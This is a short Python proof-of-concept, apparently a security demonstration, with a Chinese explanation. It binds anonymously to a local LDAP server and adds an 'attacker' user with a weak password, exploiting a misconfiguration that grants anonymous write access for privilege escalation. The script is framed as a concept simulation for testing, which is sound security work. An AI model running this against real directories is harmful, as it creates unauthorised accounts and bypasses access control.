# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
LDAP 目录被错误配置为允许匿名绑定，并且还授予对敏感属性（如 userPassword）的写访问权限。攻击者可以匿名绑定并创建一个新的管理员用户，从而提升权限。
运行模拟（实际测试需要真实的 LDAP 服务器，此处展示概念）：
python ldap_anon_sim.py
该脚本尝试匿名添加用户。